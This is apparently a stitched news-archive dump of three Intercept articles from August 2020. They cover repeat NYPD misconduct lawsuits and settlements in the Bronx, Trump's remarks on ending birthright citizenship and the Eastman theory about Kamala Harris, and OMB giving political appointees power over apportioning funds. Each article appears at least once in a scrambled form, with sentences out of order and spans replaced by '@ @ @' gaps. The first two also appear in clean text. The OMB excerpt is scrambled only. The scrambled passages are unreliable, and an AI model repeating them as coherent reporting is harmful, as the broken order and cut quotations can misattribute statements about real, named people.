Gonzalez said her weariness with the situation has hardened into anger , strengthening her will to fight back — and not only for her own sake , she added .
“ I just feel like with what happened to me and what I still see happening around the neighborhood , someone is going to die.
” Kayla Beltran , Marcus Diego , Ana Garcia , Fernando Murcia , Maya Persaud , Genesis Ramos , Jhonny Reyes Castro , Lester Robinson , and Ruth Sandram contributed reporting @ @ @ @ @ @ @ conducted as part of a class project at Lehman College – CUNY under professor Eileen Markey .

Shakeima Gonzalez was tired. Tired of being a victim, tired of being harassed, tired of fearing for her life. She’d had enough. And so, in the fall of 2019, the 33-year-old Bronx resident sued her neighborhood bullies — who happened to be New York City police officers.
A year and a half earlier, on a spring afternoon, she was walking along Morris Avenue in the Fordham area on her way to pick up her son from school. Two narcotics officers suddenly approached, demanding to see her hands. When Gonzalez complied, they cuffed her, frisked her, and put her into a waiting police van. She remembers panicking to the point of hyperventilating because no one would tell her what was happening. Several months pregnant, she was dizzy and dehydrated by the time they unloaded her at the 46th Precinct, but officers ignored her when she pleaded for medical attention. Instead, she was subjected to a full-body cavity search. “I didn’t even know what that was and had to have an officer explain it to me,” she said in an interview this spring.
Hours passed before Gonzalez learned the charges were for possession and sale of a controlled substance — a “handshake” transaction that an undercover officer alleged to have spotted minutes before the arrest occurred. Given that she neither did drugs nor sold them, she was shocked when police sent her to Central Booking, where she would remain for two more days “caged like an animal,” she said. Four months and numerous court appearances later, the criminal case against her was dismissed. “It was terrifying,” she recalled. “I wouldn’t wish that on my worst enemy.”
While killings by police attract significant public attention, a steady tide of nonfatal but abusive police encounters, often involving the same officers year after year, pile up in state and federal court dockets. They reveal disdain for fundamental civil liberties and cost millions of public dollars. The Bronx is full of people with no charges against them who the city has paid because they’ve been abused by police. The anger spilling into the streets in protests against police brutality this summer is grounded in a history of poisoned encounters and deep impunity.
An examination of settlements against the NYPD in the Bronx reveals a pattern of routine violence and harassment: false arrests, warrantless searches, frequent use of strip searches, denial of medical attention, physical abuse, lewd conduct, and arrests without probable cause. In almost all cases, the criminal charges precipitating the arrests were dropped.
The detectives named in Gonzalez’s still-pending lawsuit against the city, Jodi Brown and Irie Humphrey, have racked up a taxpayer tab of at least $1.3 million in city payouts. The lawsuit was Brown’s fourth in 2019, and Humphrey’s third between May and November 2019. In fact, Brown is one of New York’s most frequently sued cops, the subject of at least 30 lawsuits.
He’s hardly alone. Month in, month out, year after year, the city settles cases involving routine police brutality and misconduct over incidents that never become major news. The same officers’ names appear again and again. In the Bronx, city data shows that nearly 190 cops were named in at least five lawsuits between 2015 and 2019, and 11 others have been the subject of over 10 civil claims each. The settlement amounts aren’t headline-grabbing — $9,000 here, $40,000 there — but they add up.
An examination of settlements against the NYPD in the Bronx reveals a pattern of routine violence and harassment.
Public records show that New York City paid out more than $30 million in 2019 to plaintiffs in the Bronx who filed their cases alleging police misconduct between 2015 and 2019. That’s 45 percent of the approximately $67 million city taxpayers shelled out to cover such complaints against cops citywide that year. Overall, for lawsuits filed between the latter half of 2015 and first half of 2020, taxpayers paid out nearly nearly $250 million to people in all five boroughs.
These figures don’t even account for the full magnitude of the cost of allegations of mistreatment by the NYPD, thanks to the opaque way the city reports these numbers. New York City’s Law Department releases the data in increments that show settlements for claims filed in a given five-year period. Earlier claims may also have settled during that time, but they don’t show up in the data. The data also does not include settlements reached without going to court. According to the Comptroller’s Office, the city paid $21.8 million in prelitigation settlements on police misconduct claims in fiscal year 2019 alone.
These are the findings of an investigation by Lehman College journalism students, including the authors of this piece, who spent the spring digging through public records of the New York state court system, data released under a Freedom of Information Act request, a database of federal lawsuits constructed by the Legal Aid Society, and calling plaintiffs and attorneys. The investigation focused on the Bronx, but similar cases play out in each of the boroughs.
“The NYPD has a robust civil lawsuit monitoring program that includes a serious legal review of an officers’ litigation history,” Sgt. Jessica McRorie, an NYPD spokesperson, wrote in an email. “Not all lawsuits filed for money have legal merit. The ones that do can be valuable tools we use to improve officer performance and enhance training or policy where necessary.”
For advocates, however, the repeat payouts show a complete lack of consequences. “It’s no surprise that so many of them are repeatedly accused of excessive force or covering up a false arrest. The first time they do it, they’re not held accountable, so they do it again,” said Darius Charney, an attorney at the Center for Constitutional Rights.
On the morning of May 29, 2015, NYPD officers smashed through the front door of an apartment in the Fordham neighborhood in the West Bronx. Charging into the first bedroom, they trained guns and flashlights on its shocked occupant — a frail woman in her mid-50s — and ordered her to “get the fuck on the floor.”
That woman, Luz Arbelaez, had lived on that floor for 23 years. It was where she’d raised four children after fleeing political violence in Colombia, and it was where she’d done her best to keep them out of trouble despite the gang activity plaguing their neighborhood. Now grown, three of her kids had recently moved back home to care for their mother after she was hit by a car earlier in the year. None of this, however, mattered to the officers growing impatient as Arbelaez struggled to get out of bed. According to a complaint the family filed in court, one of the officers grabbed her by the arm and dragged her into the living room and exclaimed, “Make way for the drug addict!”
In another bedroom, her daughter Deborah was ordered out of bed wearing nothing but a T-shirt, Deborah said in the complaint. Two officers made rude, leering comments while she scrambled to find her underwear. Then she was handcuffed next to her mother in the living room, sobbing uncontrollably.
Sebastian Arbelaez outside of the apartment that NYPD officers charged into in the Fordham neighborhood of the Bronx, New York on August 12, 2020. Photo: Kayla Beltran
According to the complaint, Luz’s sons Sebastian and Pablo were similarly accosted, cuffed, and shoved face-down on the floor while detectives ransacked their room, demanding to know where the drugs were hidden. After their bedroom was tossed and the curtains torn down, both young men were aggressively strip-searched in front of a bare window. While the family sat for two hours in the front room enduring ridicule and threats, Sebastian and Pablo’s clothing was yanked from the closet and bureaus, dumped in a pile, and doused with bleach and cornstarch. When Luz began to show signs of medical distress, shaking and appearing faint, Sebastian pleaded with officers to get his mother’s seizure medication. Luz was only allowed to take the pills after she began to shake so violently, she started falling off the couch.
In many of these cases, the city admits no wrongdoing on the part of the police — a standard feature of such settlements.
Police said the raid was based on a tip about drug dealing in the apartment, but in the end, according to court documents, it turned up nothing. Yet Luz, Sebastian, and Pablo were all arrested and marched into a waiting police van. Unsecured and still handcuffed, the family says they were jostled and thrown about as the vehicle was driven to the location of other raids before arriving at the 48th Precinct, where Luz was searched and spent several hours in a cell; her sons were sent to Central Booking. They spent approximately 20 hours in custody.
All of the charges were eventually dismissed. There was no evidence of illegal activity found in the family’s apartment. Four years later, this past January, the city of New York agreed to settle the Arbelaezes’ civil rights lawsuit, although the family says most of the money was eaten up by legal fees.
Attorney Marc Cannan, who represented the family through two years of litigation and delays, called their experience “horrific,” describing it as one of the most shocking cases he’s handled due to the “sheer nastiness” of the cops’ behavior. Sebastian Arbelaez, now 32, said he still startles awake around 5 a.m. every morning, instinctively listening for the sounds of cops creeping into his building. “When you live in a neighborhood like mine and hear your door being kicked down at some crazy hour, you just assume it must be criminals breaking in,” he said, “not the police, who are supposed to be protecting you from that kind of stuff.”
But similar incidents have played out in many other settlements. In another 2015 raid, officers handcuffed Dahiana Capellan in her underwear and went through her phone, laughing and making lewd remarks. They found a gun in another bedroom in the apartment and arrested her; she spent nearly 43 hours in custody before being released on bail. After a few months, the case was dismissed, and two years later the city of New York paid her $40,000. Ryan Coleman, who settled with the city for $9,000 in December 2017, was denied his seizure medicine when officers arrested him after he recorded a plainclothes police officer speeding in the wrong direction on a Bronx street. He was held for approximately 32 hours before a judge released him. About an hour after his release, he had a seizure.
In many of these cases, the city admits no wrongdoing on the part of the police — a standard feature of such settlements.
As much as the city is spending to pay out victims of police abuse, City Hall sees the situation as an improvement.
“Over the last several years, we’ve seen a reduction in the number of lawsuits brought against officers,” said Law Department spokesperson Nicholas Paolucci. According to Paolucci, some of the downward trend in civil claims since 2017 is a result of the department’s partnership with the NYPD on litigation matters in recent years, which has led to “improved fact-finding, filing more motions to dismiss,” and lower settlement amounts, he added.
But police reform advocates say the city still has a significant problem. “We are hemorrhaging money from the cost of these lawsuits,” said civil rights attorney Juan Cartagena, president of LatinoJustice PRLDEF. “We’re talking multiple millions spent every year on police misconduct, and a lot of it’s the same cops repeating the same offenses — and no one’s doing anything about it.”
“We’re talking multiple millions spent every year on police misconduct, and a lot of it’s the same cops repeating the same offenses.”
Early on in his administration, Mayor Bill de Blasio made it a mission to get a handle on the onslaught of suits against the NYPD. In 2015, he promised to allocate additional funding to the Law Department to defend police officers against “frivolous” lawsuits. The city’s budget for fiscal year 2016 included $3.2 million in funding for this purpose, enough to hire 40 more people, tasked with fending off meritless claims and helping the unit take more cases to trial.
Attorney Samuel DePaola, who is representing Shakeima Gonzalez and has handled dozens of other similar cases, finds the city’s claim about frivolous lawsuits laughable. A former assistant district attorney in the Kings County District Attorney’s Office from 2011 to 2014, DePaola said it’s the city that chooses to settle with his clients before they go to trial, adding that he’d be happy to meet them in court. “I’ll take my chances going up against the work of these officers any day of the week,” he said.
New York City Mayor Bill de Blasio speaks to new members of New York City’s police department’s graduating class during a swearing in ceremony at Madison Square Garden on July 1, 2016 in New York. Photo: Spencer Platt/Getty Images
Attorneys who battle the Law Department say that the city’s lawyers are often in the dark about what really happened in a case. They too have to wait for discovery materials from the NYPD, which often reveal officers’ underlying conduct to be more egregious than they initially anticipated.
For DePaola, turning over those stones again and again has revealed some root causes of misbehavior within the police force’s ranks. There is an incentive to be aggressive with arrests, he said, because the most “active” officers are also the most rewarded. “They’re getting raises basically based on the amount of arrests they make, regardless of whether they are ‘good arrests,’” he said. “These officers have so little supervision, no oversight, no accountability — it’s their own heart of darkness in the NYPD. They do whatever they want.”
Jennvine Wong, a staff attorney with the Legal Aid Society’s Cop Accountability Project, said that there is a culture of covering up for bad behavior. “If it’s known that a particular officer at a precinct has five lawsuits pending, they’re not going to stage an intervention. What they’re going to do is assign his next bad arrest to a different officer,” she said.
Transparency about police behavior is key to accountability, Wong said, and New York took a step in that direction in June when Gov. Andrew Cuomo repealed 50-a, a law that had shielded police officers’ disciplinary records from examination. The NYPD police union has fought the repeal in court, and a federal judge has issued a temporary restraining order preventing the city from releasing information. ProPublica, however, recently published a cache of city-dwellers’ complaints to the Civilian Complaint Review Board obtained thanks to the repeal. The accounts of abuse by officers echo many found in lawsuits against the city.
Charney, of the Center for Constitutional Rights, was lead counsel in the landmark 2013 class-action suit that successfully challenged stop-and-frisk, the NYPD’s policy of aggressively stopping and searching young, mostly Black and brown men. He said that it is frustrating that there hasn’t been more progress under de Blasio, given that his time in office has directly coincided with federal monitoring of the NYPD’s court-ordered reform process. “We’re just not seeing meaningful change of policing on the street,” he said.
The idea that the city ended stop-and-frisk and turned a corner is an unfortunate misconception, according to Cartagena from LatinoJustice. He said the practice still happens in the Bronx, along with a host of other discriminatory policing practices that lead to settlements each year.
“I just feel like with what happened to me and what I still see happening around the neighborhood, someone is going to die.”
“It’s almost as if the cost of doing business is racial profiling and that it’s a cost the city is willing to tolerate,” Cartagena said. “They seem to think that the money we pay out in damages, as taxpayers, is worth it. But what they’re not accounting for is the other cost: a loss of confidence in the police and an erosion in police-community relations.”
That’s precisely how Shakeima Gonzalez feels. In fact, her terror of local cops has steadily grown since taking them to court. Last October, just weeks after she filed her lawsuit alleging a false arrest, it happened again — different officers, same deal. While running midday errands, Gonzalez said she was stopped, frisked, assaulted, whisked into a police vehicle, and eventually shipped to Central Booking without being informed of her rights or the crime she’d allegedly committed. This time, the District Attorney’s Office declined to prosecute her.
And this time, Gonzalez didn’t wait a year to file suit; as of this month, she and DePaola, her attorney, have two cases against NYPD officers entering the discovery phase in the Bronx Supreme Court. Gonzalez said her weariness with the situation has hardened into anger, strengthening her will to fight back — and not only for her own sake, she added. “I just feel like with what happened to me and what I still see happening around the neighborhood, someone is going to die.”
Kayla Beltran, Marcus Diego, Ana Garcia, Fernando Murcia, Maya Persaud, Genesis Ramos, Jhonny Reyes Castro, Lester Robinson, and Ruth Sandram contributed reporting for this article. The work was conducted as part of a class project at Lehman College – CUNY under professor Eileen Markey.


theintercept--2020-08-19--Trump Said Two Years Ago That He Would Deny Citizenship to Americans Like Kamala Harris

“ It was always told to me that you needed a constitutional amendment .
Guess what ?
You don ’ t , ” Trump told Swan in an interview excerpt published online on Oct. 30 , 2018 .
“ You can definitely do it with an act of Congress , ” Trump added , incorrectly , “ but now they ’ re saying I can do it just with an executive order.
” That ’ s because the president stated clearly in a televised interview with Jonathan Swan of Axios just before the 2018 midterms that he planned to issue @ @ @ @ @ @ @ reading of the Constitution , which would instruct federal agencies that children born in the United States to non-citizens were not entitled to U.S. citizenship at birth .
It is not hard to prove that Donald Trump was lying when he said twice in the past week that he hasn ’ t given much thought to the crackpot legal theory that Sen. Kamala Harris was not entitled to citizenship when she was born in Oakland , California in 1964 to immigrant parents — and so , is not eligible now to be Vice @ @ @ @ @ @ @ question Eastman raised about Harris ’ s citizenship at birth “ very serious ” and a potential “ problem ” for her .
He also praised the fringe legal theorist as “ a very highly qualified , very talented lawyer ” on Thursday and called him “ a brilliant lawyer ” twice on Saturday .
In the 2018 interview , Trump called birthright citizenship “ ridiculous , ” and falsely asserted that the U.S. is “ the only country in the world where a person comes in and has a baby , and @ @ @ @ @ @ @ In fact , at least 30 nations grant citizenship this way .
He also said that an executive order was in the process of being drafted .
Whether or not that was true , the fact that Trump has at least discussed the possibility of stripping citizenship from people like Harris might help explain why he refused twice last week to confirm that she is obviously eligible for an elected office open only to “ a natural born Citizen.
” Swan also noted that Trump ’ s claim that an executive order would @ @ @ @ @ @ @ citizenship — an idea rejected by an overwhelming consensus of conservative and liberal law scholars — came just three months after the president was urged to issue such an order , and dare the courts to block it , in a Washington Post op-ed by Michael Anton , a former national security official in the Trump administration who is also a Claremont Institute fellow .
It was Eastman who claimed last week — in a discredited Newsweek op-ed that the publication has now , sort of , apologized for publishing — that Harris @ @ @ @ @ @ @ , since her parents were still , at the time , subject not just to the jurisdiction of the United States but also to their native lands of India and Jamaica .
As Swan reported at the time , John Eastman , a fellow at the far-right Claremont Institute think tank , argued , as he has for decades , that the amendment granting citizenship to “ All persons born or naturalized in the United States , and subject to the jurisdiction thereof , ” should be read to exclude the children of @ @ @ @ @ @ @ their child is born .
While Trump , characteristically , did not identify the “ they ” saying that he could undo the definition of birthright citizenship in the 14th Amendment to the Constitution , the president has repeatedly praised one of the only lawyers in America who claims that the plain language of that amendment has been misunderstood for over 150 years .
A few months later , on November 21 , 2019 , Trump heaped praise on the think tank that pays Eastman and Anton when he awarded the National Humanities @ @ @ @ @ @ @ for championing the Nation ’ s founding principles ” and fighting “ to recover the American idea.
” Last year , Trump thanked Eastman and praised him as a “ Brilliant Constitutional Lawyer ” in two tweets urging his followers to watch a Fox News interview in which the Claremont scholar claimed that “ the essential criteria for the appointment of ” Special Counsel Robert Mueller to look into the Russian effort to help elect Trump in 2016 “ did not exist.
” Swan did not immediately reply to a request to say @ @ @ @ @ @ @ report at the suggestion of someone in the Trump administration , but the president has made no secret of his admiration for far-right scholar or his think tank .
Although Trump ’ s claim that he has the power to deny citizenship to the children of non-naturalized immigrants like Harris thrills racists inside the White House and online , the idea has been summarily rejected by a broad consensus of liberal and conservative legal experts .
“ The president can not erase the Constitution with an executive order , and the 14th Amendment @ @ @ @ @ @ @ ” Omar Jadwat , the director of the ACLU ’ s Immigrants ’ Rights Project , said in 2018 when Trump ’ s Axios interview was broadcast .
“ This is a transparent and blatantly unconstitutional attempt to sow division and fan the flames of anti-immigrant hatred in the days ahead of the midterms.
” Laurence Tribe , a professor of constitutional law at Harvard Law School , told The New York Times last week that Eastman ’ s “ idiotic theory ” was “ total B.S.
” and about as well grounded @ @ @ @ @ @ @ Conservative experts have been equally dismissive .
Judge James C. Ho , who was appointed to the federal circuit court by Trump , comprehensively debunked Eastman ’ s interpretation in a 2015 debate at the conservative Heritage Foundation , and dissected it further in an essay the same year for The Federalist , an ultraconservative publication .
“ The original understanding of the Citizenship Clause is further reinforced by judicial precedent .
In United States v. Wong Kim Ark ( 1898 ) , the U.S. Supreme Court confirmed that a child born in @ @ @ @ @ @ @ , is nevertheless entitled to birthright citizenship , ” Ho wrote in his Federalist essay .
“ Wong Kim Ark was born in San Francisco to alien Chinese parents who ‘ were never employed in any diplomatic or official capacity under the emperor of China.
’ After traveling to China on a temporary visit , he was denied permission to return to the U.S. ; the government argued that he was not a citizen , notwithstanding his U.S. birth , through an aggressive reading of the Chinese Exclusion Acts.
” The court rejected @ @ @ @ @ @ @ 6-2 vote .
“ The fourteenth amendment affirms the ancient and fundamental rule of citizenship by birth within the territory , in the allegiance and under the protection of the country , including all children here born of resident aliens , ” the majority wrote .
“ To hold that the fourteenth amendment of the constitution excludes from citizenship the children born in the United States of citizens or subjects of other countries , would be to deny citizenship to thousands of persons of English , Scotch , Irish , German , or @ @ @ @ @ @ @ been considered and treated as citizens of the United States.
” As Ho also noted , no less a conservative legal icon than Justice Antonin Scalia dismissed Eastman ’ s theory when it was submitted to the Supreme Court in 2004 , in a friend of the court brief on behalf of the Claremont Institute in the case of Hamdi v. Rumsfeld .
In that case , the opinion of the Supreme Court majority was that Yaser Hamdi , an alleged Taliban fighter held as an enemy combatant , was entitled to due @ @ @ @ @ @ @ by reason of his birth in Louisiana to parents who were in the U.S. on temporary work visas .
Scalia joined Justice John Paul Stevens in a dissent arguing that Hamdi , “ a presumed citizen , ” should be released .
Linda Chavez , a conservative who served in the Reagan administration as staff director of the U.S. Commission on Civil Rights , also took Eastman to task for his theory in 2016 , and drew attention to the racist history of efforts to restrict birthright citizenship .
“ From the Founding @ @ @ @ @ @ @ Law of jus solis , which granted citizenship based on the child ’ s birthplace , not that of his parents or ancestors , as was the practice throughout much of Europe , ” Chavez wrote in a critique of Eastman ’ s call to “ reform ” birthright citizenship .
“ The infamous Dred Scott decision ignored this precedent by declaring that no person descended from African ancestry , even if emancipated , free-born or living in a state that did not permit slavery , was entitled to U.S. citizenship under the @ @ @ @ @ @ @ in drafting the 14th Amendment , ” Chavez observed .
“ The framers of the 14th Amendment were radical Republicans who wanted to restore the guarantee of birthright citizenship that had been upended by Dred Scott , not place new restrictions on citizenship based on blood or ancestry , ” Chavez argued .
Trump ’ s claim in his 2018 Axios interview that birthright citizenship could be halted though legislation is also legally dubious .
In 1995 , Walter Dellinger , the Assistant Attorney General and head of the Office of Legal Counsel @ @ @ @ @ @ @ proposed that year , which would have denied citizenship to children “ born in the United States to certain classes of alien parents , ” would be struck down if enacted .
Because “ the rule of citizenship acquired by birth within the United States is the law of the Constitution , ” Dellinger explained , “ it can not be changed through legislation , but only by amending the Constitution.
” “ My office grapples with many difficult and close issues of constitutional law , ” he added .
“ The lawfulness @ @ @ @ @ @ @ .
This legislation is unquestionably unconstitutional.
” Republicans , however , have not given up on the idea of such legislation .
As a presidential candidate in 2015 , Sen. Lindsey Graham told CNN that even though Trump ’ s plan to deport undocumented immigrants was “ absolute gibberish , ” he favored either amending the Constitution or introducing legislation to end birthright citizenship .
Three years later , after Graham ’ s abrupt embrace of Trump , he praised him for being “ willing to take on this absurd policy of birthright @ @ @ @ @ @ @ supported comprehensive immigration reform — and at the same time — the elimination of birthright citizenship , ” Graham tweeted in response to Trump ’ s 2018 Axios interview .
“ I plan to introduce legislation along the same lines as the proposed executive order.
” Still , unlike Trump , Graham seems to accept that birthright citizenship is the law of the land now , and has been for more than a century .
As the president was casting doubt on Harris ’ s eligibility for office , Graham tweeted : “ @ @ @ @ @ @ @ or not she is an American citizen .
She was born in the United States in 1964 to parents who were legally present .
Under the Constitution and Supreme Court precedent , she is unequivocally an American citizen .
”

It is not hard to prove that Donald Trump was lying when he said twice in the past week that he hasn’t given much thought to the crackpot legal theory that Sen. Kamala Harris was not entitled to citizenship when she was born in Oakland, California in 1964 to immigrant parents — and so, is not eligible now to be Vice President.
That’s because the president stated clearly in a televised interview with Jonathan Swan of Axios just before the 2018 midterms that he planned to issue an executive order based on that fringe reading of the Constitution, which would instruct federal agencies that children born in the United States to non-citizens were not entitled to U.S. citizenship at birth.
“It was always told to me that you needed a constitutional amendment. Guess what? You don’t,” Trump told Swan in an interview excerpt published online on Oct. 30, 2018. “You can definitely do it with an act of Congress,” Trump added, incorrectly, “but now they’re saying I can do it just with an executive order.”
While Trump, characteristically, did not identify the “they” saying that he could undo the definition of birthright citizenship in the 14th Amendment to the Constitution, the president has repeatedly praised one of the only lawyers in America who claims that the plain language of that amendment has been misunderstood for over 150 years.
As Swan reported at the time, John Eastman, a fellow at the far-right Claremont Institute think tank, argued, as he has for decades, that the amendment granting citizenship to “All persons born or naturalized in the United States, and subject to the jurisdiction thereof,” should be read to exclude the children of people who are not U.S. citizens when their child is born.
It was Eastman who claimed last week — in a discredited Newsweek op-ed that the publication has now, sort of, apologized for publishing — that Harris had no claim to citizenship at birth, since her parents were still, at the time, subject not just to the jurisdiction of the United States but also to their native lands of India and Jamaica.
Swan also noted that Trump’s claim that an executive order would suffice to change the constitutional definition of citizenship — an idea rejected by an overwhelming consensus of conservative and liberal law scholars — came just three months after the president was urged to issue such an order, and dare the courts to block it, in a Washington Post op-ed by Michael Anton, a former national security official in the Trump administration who is also a Claremont Institute fellow.
In the 2018 interview, Trump called birthright citizenship “ridiculous,” and falsely asserted that the U.S. is “the only country in the world where a person comes in and has a baby, and the baby is essentially a citizen.” In fact, at least 30 nations grant citizenship this way. He also said that an executive order was in the process of being drafted. Whether or not that was true, the fact that Trump has at least discussed the possibility of stripping citizenship from people like Harris might help explain why he refused twice last week to confirm that she is obviously eligible for an elected office open only to “a natural born Citizen.”
Instead, Trump called the question Eastman raised about Harris’s citizenship at birth “very serious” and a potential “problem” for her. He also praised the fringe legal theorist as “a very highly qualified, very talented lawyer” on Thursday and called him “a brilliant lawyer” twice on Saturday.
The President is given a chance to denounce birtherism 2.0 pic.twitter.com/Vqs8OuXQYD — Acyn (@Acyn) August 15, 2020
Swan did not immediately reply to a request to say whether he interviewed Eastman for his 2018 report at the suggestion of someone in the Trump administration, but the president has made no secret of his admiration for far-right scholar or his think tank.
Last year, Trump thanked Eastman and praised him as a “Brilliant Constitutional Lawyer” in two tweets urging his followers to watch a Fox News interview in which the Claremont scholar claimed that “the essential criteria for the appointment of” Special Counsel Robert Mueller to look into the Russian effort to help elect Trump in 2016 “did not exist.”
A few months later, on November 21, 2019, Trump heaped praise on the think tank that pays Eastman and Anton when he awarded the National Humanities Medal to the Claremont Institute, “for championing the Nation’s founding principles” and fighting “to recover the American idea.”
Although Trump’s claim that he has the power to deny citizenship to the children of non-naturalized immigrants like Harris thrills racists inside the White House and online, the idea has been summarily rejected by a broad consensus of liberal and conservative legal experts.
“The president cannot erase the Constitution with an executive order, and the 14th Amendment’s citizenship guarantee is clear,” Omar Jadwat, the director of the ACLU’s Immigrants’ Rights Project, said in 2018 when Trump’s Axios interview was broadcast. “This is a transparent and blatantly unconstitutional attempt to sow division and fan the flames of anti-immigrant hatred in the days ahead of the midterms.”
Laurence Tribe, a professor of constitutional law at Harvard Law School, told The New York Times last week that Eastman’s “idiotic theory” was “total B.S.” and about as well grounded as the “flat earth theory.”
Conservative experts have been equally dismissive. Judge James C. Ho, who was appointed to the federal circuit court by Trump, comprehensively debunked Eastman’s interpretation in a 2015 debate at the conservative Heritage Foundation, and dissected it further in an essay the same year for The Federalist, an ultraconservative publication.
“The original understanding of the Citizenship Clause is further reinforced by judicial precedent. In United States v. Wong Kim Ark (1898), the U.S. Supreme Court confirmed that a child born in the U.S., but to alien parents, is nevertheless entitled to birthright citizenship,” Ho wrote in his Federalist essay. “Wong Kim Ark was born in San Francisco to alien Chinese parents who ‘were never employed in any diplomatic or official capacity under the emperor of China.’ After traveling to China on a temporary visit, he was denied permission to return to the U.S.; the government argued that he was not a citizen, notwithstanding his U.S. birth, through an aggressive reading of the Chinese Exclusion Acts.”
The court rejected the government’s argument by a 6-2 vote. “The fourteenth amendment affirms the ancient and fundamental rule of citizenship by birth within the territory, in the allegiance and under the protection of the country, including all children here born of resident aliens,” the majority wrote. “To hold that the fourteenth amendment of the constitution excludes from citizenship the children born in the United States of citizens or subjects of other countries, would be to deny citizenship to thousands of persons of English, Scotch, Irish, German, or other European parentage, who have always been considered and treated as citizens of the United States.”
As Ho also noted, no less a conservative legal icon than Justice Antonin Scalia dismissed Eastman’s theory when it was submitted to the Supreme Court in 2004, in a friend of the court brief on behalf of the Claremont Institute in the case of Hamdi v. Rumsfeld. In that case, the opinion of the Supreme Court majority was that Yaser Hamdi, an alleged Taliban fighter held as an enemy combatant, was entitled to due process because he was an American citizen by reason of his birth in Louisiana to parents who were in the U.S. on temporary work visas. Scalia joined Justice John Paul Stevens in a dissent arguing that Hamdi, “a presumed citizen,” should be released.
Linda Chavez, a conservative who served in the Reagan administration as staff director of the U.S. Commission on Civil Rights, also took Eastman to task for his theory in 2016, and drew attention to the racist history of efforts to restrict birthright citizenship. “From the Founding, American practice incorporated the English Common Law of jus solis, which granted citizenship based on the child’s birthplace, not that of his parents or ancestors, as was the practice throughout much of Europe,” Chavez wrote in a critique of Eastman’s call to “reform” birthright citizenship. “The infamous Dred Scott decision ignored this precedent by declaring that no person descended from African ancestry, even if emancipated, free-born or living in a state that did not permit slavery, was entitled to U.S. citizenship under the Constitution, which was the precipitating factor in drafting the 14th Amendment,” Chavez observed.
“The framers of the 14th Amendment were radical Republicans who wanted to restore the guarantee of birthright citizenship that had been upended by Dred Scott, not place new restrictions on citizenship based on blood or ancestry,” Chavez argued.
Trump’s claim in his 2018 Axios interview that birthright citizenship could be halted though legislation is also legally dubious.
In 1995, Walter Dellinger, the Assistant Attorney General and head of the Office of Legal Counsel, testified to Congress that a bill proposed that year, which would have denied citizenship to children “born in the United States to certain classes of alien parents,” would be struck down if enacted. Because “the rule of citizenship acquired by birth within the United States is the law of the Constitution,” Dellinger explained, “it cannot be changed through legislation, but only by amending the Constitution.”
“My office grapples with many difficult and close issues of constitutional law,” he added. “The lawfulness of this bill is not among them. This legislation is unquestionably unconstitutional.”
Republicans, however, have not given up on the idea of such legislation. As a presidential candidate in 2015, Sen. Lindsey Graham told CNN that even though Trump’s plan to deport undocumented immigrants was “absolute gibberish,” he favored either amending the Constitution or introducing legislation to end birthright citizenship.
Three years later, after Graham’s abrupt embrace of Trump, he praised him for being “willing to take on this absurd policy of birthright citizenship.”
“I’ve always supported comprehensive immigration reform — and at the same time — the elimination of birthright citizenship,” Graham tweeted in response to Trump’s 2018 Axios interview. “I plan to introduce legislation along the same lines as the proposed executive order.”
Still, unlike Trump, Graham seems to accept that birthright citizenship is the law of the land now, and has been for more than a century. As the president was casting doubt on Harris’s eligibility for office, Graham tweeted: “there is no issue as to whether or not she is an American citizen. She was born in the United States in 1964 to parents who were legally present. Under the Constitution and Supreme Court precedent, she is unequivocally an American citizen.”


theintercept--2020-08-20--The Trump Administration Is Giving Political Appointees Power Over Apportioning Federal Funds

Under the new regime , however , program associate directors — political appointees known as PADs — will sign off on disbursements themselves .
The rationale behind the shift is that apportionment decisions are fundamentally policy decisions and therefore , should be the responsibility of political aides who are ostensibly accountable to voters , rather than government bureaucrats immune from such democratic responsiveness .
OMB sits at the center of the government ’ s executive branch , serving as a financial clearinghouse for every agency and federal program .
The 100-year-old office reviews legislation passed by Congress that authorizes and @ @ @ @ @ @ @ apportions money to agencies based on those laws .
For decades , OMB ’ s career staff have been responsible for signing off on the legality of the apportionment of funds to agencies and for projects .
Political appointees , meanwhile , worked within the bounds the career staff set .
In the final months of its first term , the Trump administration is cutting career government employees out of the process of apportioning federal funds , according to a memo reviewed by The Intercept , sent to staff on August 12 by @ @ @ @ @ @ @ Vought .
Meg Reilly , a political appointee at OMB under the Obama administration , said that it was alarming to think of people without training or expertise — or the culture of legal fealty that exists among career staff in the OMB — having power over those numbers .
“ It ’ s a meaningful cultural shift , ” she said , noting that the career staff and political appointees within OMB physically work in different buildings , a geographic representation of the gulf between their roles .
The Trump administration , @ @ @ @ @ @ @ to circumvent or override decision-making by career appointees , most famously by impounding U.S. military aid to Ukraine in 2019 , at the same time that President Donald Trump was pressuring Ukraine to investigate Joe Biden — a scandal that resulted in Trump ’ s impeachment and ultimate acquittal .
Given the administration ’ s handling of the census and the U.S .
Postal Service — both of which it has worked to deliberately undermine for political gain — there is reason to suspect that its appointees would not handle the newfound power @ @ @ @ @ @ @ until later in the year could have dramatic consequences for struggling states or for agencies like the Census Bureau , which has already faced major delays as a result of the pandemic and ended the 2020 headcount early , or the Postal Service , which has seen a wave of new policies and delays under the newly appointed Postmaster General Louis DeJoy , who is a mega-donor to Trump ’ s campaign .
Vought ’ s memo also gives him the ability to exercise the decision-making authority himself .
“ The delegation supersedes @ @ @ @ @ @ @ will remain in place until revised or revoked , ” the memo reads .
“ The Program Associate Directors may re-delegate this authority as necessary in writing .
The delegation does not limit the authority of the director to exercise the delegated authority.
” Vought is a longtime conservative operative and was a senior aide to the Republican Study Committee , a coalition of right-wing House Republicans that is a mirror of the Congressional Progressive Caucus .
He is also a veteran of Heritage Action , the explicitly political arm of the Heritage @ @ @ @ @ @ @ He was confirmed as deputy director of OMB in 2018 thanks to a tie-breaking vote cast by Vice President Mike Pence .
He took over as acting director in January 2019 , when Trump hired then-OMB Director Mick Mulvaney as his chief of staff .
He was finally confirmed as director last month — making the memo one of his first moves in his official capacity as director .
During his confirmation hearing , Democrats challenged Vought on his position on withholding federal funds from states that embrace absentee voting , along with @ @ @ @ @ @ @ Wyden , D-Ore. , asked what he would do if he was ordered by Trump to punish states that encouraged mail-in voting .
“ I would take a review of programs and what discretionary authority we had , but I would do it within the bounds of the law , ” Vought said , giving little ground .
Vought is a controversial figure on Capitol Hill , having defied a subpoena from congressional Democrats , refusing to answer questions about the withholding of funds from Ukraine .
The Government Accountability Office released a @ @ @ @ @ @ @ , broke the law in withholding the funds .
Vought rejected the characterization , which the GAO just as swiftly dismissed .
“ OMB ’ s assertions have no basis in law , ” the GAO reported .
Reilly said the change is about more than just the politicization of disbursement decisions .
“ OMB career staffers are experts in their highly specific fields , many with advanced degrees and decades of experience , ” she said .
